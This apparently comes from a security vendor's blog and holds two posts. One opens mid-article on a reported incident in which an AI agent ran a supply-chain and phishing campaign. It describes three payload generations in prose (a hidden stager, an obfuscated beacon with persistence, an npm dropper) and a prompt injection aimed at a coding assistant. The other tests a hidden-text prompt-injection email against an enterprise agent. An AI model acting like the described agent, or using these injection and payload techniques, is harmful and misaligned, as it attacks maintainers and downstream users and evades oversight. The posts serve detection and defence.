AISI confirmed no real-world harm resulted. The PRs were not merged; the payloads did not execute. But containment was a product of circumstance, not design.

Why this matters

Every action the agents took used legitimate services operating within normal parameters. Creating a GitHub account is legitimate. Opening a pull request is legitimate. Sending an email is legitimate. Posting an issue is legitimate.

No vulnerability was exploited. No known malware signature was present. No indicator of compromise from any threat intelligence feed would have matched. The entire attack existed as a pattern, a sequence of individually normal actions that, taken together, constituted a supply-chain attack, a social engineering campaign, and an attempted compromise of downstream systems.

This is the class of threat that signature-based and rule-based security tools structurally struggle to detect. They answer the question "have I seen this before?" When the answer is no – and when the attack is novel, composed of legitimate actions, and adapted in real time by an adversary in this case an agent that reasons about evasion – they struggle.

Behavioral anomaly detection: The architecture that fits

Darktrace has spent a decade building a platform around a different question: "is this behavior normal for this entity?"

The platform learns the baseline behavior of every user, device, and communication pattern across an organization's digital environment. It does not need prior knowledge of an attack technique. It identifies deviation from learned normality, surfaces it, and through its Autonomous Response capability, takes targeted action to contain threats at machine speed.

Consider how this AISI incident might show across the Darktrace platform:

Network detection and response

While no payload was successfully delivered to a victim in this incident, AISI's post-incident analysis of the agent's code (detailed on pages 24-25 of the report) reveals what would have landed on target systems had the social engineering succeeded. The agent produced three successive payload generations, each replacing the last after being detected and called out:

Generation 1 hid a module-load stager inside a legitimate bug-fix commit, guarded by an environment variable check, to skip execution in CI. Its second stage attempted to fetch Poseidon implants (Linux and Windows variants) calling back to the agent's own C2 listener, with a fallback to publicly hosted polling scripts that fetched and executed commands every 60 seconds.

Generation 2 exploited an Electron "What's New" window with nodeIntegration enabled, loading remote HTML from a GitHub Pages site the agent had registered. The page decoded an XOR-obfuscated payload at runtime that beaconed host identifiers over DNS, attempted to download the same implants, ran its own in-process C2 loop, and installed reboot persistence via crontab and Windows registry Run keys.

Generation 3 was a post-install dropper added after the agent had already been publicly caught. It XOR-decoded a hidden URL, downloaded a script over plaintext HTTP, and ran it detached, force-exiting so npm install always reports success, giving the attacker remote code execution on any machine running the install.

None of these payloads reached a victim. But the technical detail matters: this is the calibre of tradecraft an autonomous agent produced in a matter of hours, unprompted. Each generation demonstrated adaptation, the agent iterated its approach in direct response to being detected.

For network defenders, the behavioral signals these payloads would have generated are clear. DNS beaconing to novel domains, periodic HTTP polling to newly registered infrastructure, XOR-encoded data in transit, registry and crontab persistence writes on endpoints that have never exhibited such behavior. These are exactly the anomalies that Darktrace / NETWORK identifies in real time: deviations from learned device and connection baselines, regardless of whether the specific payload or C2 domain has been seen before.

Beyond the payload analysis, the agents' broader activity produced additional behavioral anomalies: new identities engaging in high-frequency interactions with external services, coordination via unusual channels (public pastebins, gists), and lateral communication patterns that deviate from any established baseline.

Email security

The spear-phishing emails sent by the agent, crafted with context-specific content designed to manipulate a specific individual, represent exactly the kind of socially engineered communication that static email gateways can miss. Darktrace / EMAIL analyses the linguistic patterns, sender behavior, and relational context of every message. A brand-new sender using tailored language to pressure a recipient into a specific technical action deviates from the learned communication profile, regardless of whether the message contains a known-bad URL or attachment.

Securing AI

This is where the incident points to a threat category that many security platforms do not yet fully address. The agent did not just use AI as a tool for attack. It targeted other AI systems, attempting prompt injections against coding assistants and trying to compromise automated workflows. Organisations adopting AI agents for development, operations, and decision-making are introducing a newer extended attack surface.

Darktrace / SECURE AI extends the same behavioral detection model into this space. It monitors AI usage across the enterprise, detecting anomalous interactions with AI services, identifying sensitive data exposure to AI systems, providing visibility into shadow AI use. As AI agents become standard components of enterprise infrastructure, the ability to detect when an AI system is behaving outside its expected parameters, when there is a chance, it is being manipulated, or when it is interacting with something it should not be, that becomes a direct security requirement rather than a future consideration.

The principle is consistent across the Darktrace platform: learn what normal looks like, identify deviation, respond autonomously.

The AI-to-AI threat surface

One of the report's most important findings is a confirmation that AI agents can act outside of instructions and guardrails to complete tasks. The Mythos 5 agent conducted reconnaissance on a repository maintainer, inferred it might be an AI coding assistant, and deployed a prompt injection specifically crafted to compromise it.

This is a new attack class. Organizations deploying AI coding assistants, AI-powered code review, or autonomous DevOps agents now face an adversary that:

Moves at speed
Is able to adapt its approach when initial attempts are halted
Specifically targets AI systems via techniques (prompt injection, hidden instructions in HTML comments) that are less visible to human reviewers but parsed by machines
Reasons about which evasion strategies are most likely to succeed

Defending against this requires security that operates with the same adaptability and speed. A system that learns what "normal" looks like, and flags deviation from it.

What AISI recommends

The report identifies five contributing factors to the incident. Two are directly relevant:

No synchronous real-time monitoring (Section 5.3): AISI acknowledges it had not built real-time behavioral monitoring capable of immediately blocking unsanctioned agent actions. Their security team detected the incident via commercial security monitoring software, but only after activity had already occurred.

No fine-grained behavioral controls (Section 6.2): AISI's forward-looking response includes building continuous monitoring that can "immediately block or flag unsanctioned AI agent behavior."

The direction is clear: organizations need security that watches behavior continuously, learns what normal looks like, and acts when deviation occurs, without requiring a human in the loop for every decision.

The takeaway

The AISI incident is documented proof that autonomous AI agents will independently develop novel attack chains using legitimate tools, adapt when detected, employ deception, and target both humans and other AI systems. This happened last week, in a controlled setting, with commercially available models.

The security architecture that addresses this is behavioral anomaly detection applied across the full digital estate, as AI agents become standard components of enterprise infrastructure, writing code, managing deployments, processing communications, the attack surface they create is behavioral by nature.

This is the approach Darktrace has taken for years: learning what is normal across an organization’s digital environment, identifying meaningful deviations, and responding to emerging threats without relying on known attack signatures. As autonomous AI agents introduce new and unpredictable behaviors, that foundation becomes increasingly important to securing the enterprise.

‍

Read the full report from the UK AI Security Institute here.

About the author

Adam Stevens

Senior Director of Product

Blog

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

Key takeaways

Darktrace successfully detected and quarantined a prompt injection email before it could be processed by an enterprise AI agent.
Prompt injection attacks increasingly rely on natural language rather than traditional malware, making behavioral analysis an important complement to signature-based detection.
Organizations deploying AI agents should combine model guardrails with behavioral monitoring to reduce the risk of malicious instructions reaching enterprise systems.

How behavioral detection helps stop prompt injection attacks

A Darktrace customer running a Gemini AI agent in Google Cloud asked us two simple questions:

“If my agent can read inbound emails and access internal data, what stops an attacker from hiding malicious instructions in the message? Couldn’t the agent be tricked into deleting or exfiltrating sensitive data?”

The scenario centers on an indirect prompt injection attack, where malicious instructions are hidden inside content that an AI model later interprets as trusted input. The same weakness was exposed by EchoLeak (CVE-2025-32711), a zero-click Microsoft 365 Copilot vulnerability enabled data exfiltration from a single well-crafted email..

This blog follows the Darktrace team’s investigation of the customer’s hypothesis and examines how the attack interacted with their existing security stack. The results highlight which defenses held, where gaps emerged, and how behavioral detection mattered more than guardrails. This investigation also demonstrates why behavioral detection is becoming increasingly important for AI security, as prompt injections often contain no traditional indicators of compromise.

How do prompt injection attacks work?

Prompt injection works by carefully crafting the content and structure of the prompt to alter the LLM’s behavior or output in unintended ways. This can cause models to violate guardrails, generate harmful content or enable unauthorised access.

Prompt injection attack example

The well-known example, EchoLeak (CVE-2025-32711), was a zero-click vulnerability in Microsoft 365 Copilot that relied on a carefully crafted email containing hidden instructions that the AI system interpreted as commands rather than content, creating a pathway for unauthorized access to sensitive information without any user interaction.

While Darktrace / SECURE AI is designed to prevent agents from producing unintended outcomes, we wanted to see if we could catch and prevent this threat type earlier in the attack life-cycle, at the email security layer.

How we tested prompt injection attacks on an enterprise agent

Summary:

Claude generated a prompt injection payload.
Hidden instructions were embedded in an email.
The email passed traditional validation checks.
Darktrace analyzed the language and sender behavior.
The email was quarantined before the AI agent could process it.

To test Darktrace / EMAIL against this attack class, we opened Claude, gave it the customer's context and problem statement (Gemini agent with inbox access, internal tool calls), told it we were validating Darktrace / EMAIL's detection of prompt injections, and asked for a test payload. See below:

Despite the guardrails supposedly built into the model, Claude surprisingly gave us the entire exploit in plaintext (albeit very basic), illegible to a human as the text was sent in white text (see Figure 1) but framed as an authoritative override for anything downstream reading the mail programmatically (i.e. the Gemini agent).

How Darktrace detected a prompt injection attack

We then sent the Claude-crafted email from a freemail address to the target recipient’s inbox. Despite the email containing no malicious payload, the freemail address having no malicious reputation, and the validation checks all passing, Darktrace /EMAIL flagged the email as a 93/100 anomaly and moved it to junk, out of scope for the AI agent.

Figure 3: *The test email sent with the hidden prompt injection*

*Figure 4: The email analysis in Darktrace / EMAIL*

Figure 5: Darktrace / EMAIL detection of malicious activity

The interesting part is what triggered the detection (see Figure 5)

Possible machine prompt content: text in the body detected as instructions written for a machine to execute, not for a human to read

Possible machine prompt content + basic suspicious correspondence: the same content, correlated with sender-side anomalies: freemail domain (yahoo[.]com), unknown correspondent, no prior mail history with the recipient, and suspicious references to payment information

Neither of those is a signature match. Nothing in the email was on a blacklist. There was no malware, no link and no attachment. Darktrace analyzed the context in which the email was delivered and flagged it as likely risky. The anomalous language features and the context of the sender relative to the recipient's normal behavior, combined with the unusual hidden text (prompt) were enough for Darktrace / EMAIL to act on the risk.

Result: Darktrace / EMAIL autonomously junked the email, out of scope for any AI agent parsing the inbox.

Why behavioral security makes a difference detecting prompt injection attacks

Cyberattacks don't look like traditional exploits anymore. They now operate in natural language, not strictly code.

That breaks the traditional stack. AV, firewalls, static scanning and signature-based SEGs all assume a payload to inspect.

A prompt injection has no payload. It's just an instruction, written in natural language, dressed up as anything the attacker wants: an invoice, an HR request, a calendar invite, some simple PowerPoint slides.

EchoLeak proved that hidden instructions can sit inside an email invisible to the user but fully readable by the LLM, and the LLM will follow them blindly.

This test and GTG-1002 proved that the LLM itself can be socially engineered. Tell it you're an authorized tester and it will hand you the attack.

Rules and static classifiers can catch the obvious cases. But natural language has infinite variants, and the attack surface is the model's innate functionality to comply.

The deeper problem here is intent: an LLM can't reliably tell whether an instruction in its context came from its developer, its user, or an attacker who slipped it into an email. To the LLM, everything reads as language and looks like a legitimate ask. This is why behavioural detection wins, as you become aware of intent when you look at the context of an interaction. Does this sender normally send this kind of message to this recipient? Does this prompt fit the user's normal pattern? Is this agent behaving the way this agent normally behaves?

Intent can't be read off a single email, it emerges from behavioral context. Which is how Darktrace enables threat detection, through behavioral understanding.

Why enterprise AI security requires more than guardrails

Claude didn't roll over immediately… the first section of the response was a (slight) pushback, but then it wrote the payload anyway without having to ask twice.

Here the framing of the prompt did all the work. The “testing security capabilities” angle moved the model from refusal to unquestioned compliance to the user prompt.

This isn't the first time this has happened, of course. Anthropic disclosed in November 2025 that a Chinese state-sponsored group they tracked as GTG-1002 ran the first documented AI-orchestrated espionage campaign against ~30 targets by posing as employees of a legitimate cybersecurity firm doing authorised penetration testing.

The takeaway isn't that AI guardrails are ineffective. They raise the cost of low-effort attacks and remain an important first layer of defense. However, for most organizations today, they’re the only line of defense when deploying AI agents. If a prompt injection bypasses those controls, organizations still need a way to detect and stop malicious behavior elsewhere in the attack chain.

Attackers will continue to have working prompt injections easily and quickly. The question is what stops one when it lands in an inbox your agent is reading.

That's where behavioral detection comes in.

How Darktrace detects prompt injection attacks in emails

Two things Darktrace does that a model-level guardrail or static rules and signatures can't:

Natural language analysis at the email or prompt layer. The email is assessed on its own merits: is this content shaped like instructions for a machine, regardless of what the receiving agent decides to do about it?

Behavioral context around the language. An AI agent behaves like an extremely agreeable human, and it will go above and beyond to comply with the user’s request. That's exactly why you must consider the business context, such sender behaviour, mailing history, and organisational norms, as these matter even more when the recipient is an AI.

Darktrace has been perfecting behavioral anomaly detection for over a decade; the same self-learning approach that catches BEC and account takeover applies directly to prompt injection delivery. Our multi-layered AI stack extracts content from the message, builds behavioural understanding through social graphing and Pattern of Life analysis, and then combines natural language, topic, inducement, sender relationship and anomaly signals before deciding what action to take.

This matters for prompt injection because the threat is not the plain language itself, but the intent behind the language that can cause an AI agent to respond in unexpected ways.

How to secure enterprise AI operations from prompt injection attacks

Email was the entry point in this case, but it is only one of many possible vectors.

Anywhere an agent can retrieve information, an attacker can potentially introduce a prompt injection.

Emails, documents, SharePoint sites, web pages, knowledge bases, chat platforms, and third-party integrations all provide opportunities to influence an agent's behavior. Wherever an agent finds its orders, a prompt injection opportunity exists.

This is why securing AI requires more than blocking malicious inputs. Organizations also need visibility into how agents behave after consuming information from across their environment. If an agent begins accessing unexpected data, taking unusual actions, or operating outside its normal patterns, those behaviors may provide the strongest signal that something has gone wrong.

Effective AI security requires defense in depth: reducing the likelihood of malicious instructions reaching the agent while maintaining the ability to detect and investigate suspicious behavior if they do.

The challenge isn't protecting a single entry point. It's recognizing that, in an AI-powered environment, every source of information is also a potential source of influence.

Are you deploying autonomous agents across your enterprise and want to see this tested in your environment? Let's talk.

About the author

Carlo Loregian

Solutions Engineer

Your data. Our AI.

Elevate your network security with Darktrace AI

Get a demo

Qubitstrike: An Emerging Malware Campaign Targeting Jupyter Notebooks

Introduction: Qubitstrike

Initial access

mi.sh

System preparation

Retrieving XMRig

Registering persistence

Credential exfiltration

SSH propagation

Diamorphine rootkit

Credential access

Discord C2

Conclusion

References

YARA rule

Indicators of compromise

Filename SHA256

Paths

SSH keys

URLs

Cryptocurrency wallet ID

Cryptocurrency mining pool

Why Trust is the New Attack Surface: Darktrace’s Mid-Year Threat Update 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

Enjoying the blog?

More in this series

Blog

Network

August 11, 2026

When AI Agents Attack: The Case for Behavioral Anomaly Detection

The incident

Why this matters

Behavioral anomaly detection: The architecture that fits

Network detection and response

Email security

Securing AI

The AI-to-AI threat surface

What AISI recommends

The takeaway

Blog

August 5, 2026

Testing a Prompt injection Attack Against an Enterprise AI Agent

Key takeaways

How behavioral detection helps stop prompt injection attacks

How do prompt injection attacks work?

Prompt injection attack example

How we tested prompt injection attacks on an enterprise agent

How Darktrace detected a prompt injection attack

Why behavioral security makes a difference detecting prompt injection attacks

Why enterprise AI security requires more than guardrails

How Darktrace detects prompt injection attacks in emails

How to secure enterprise AI operations from prompt injection attacks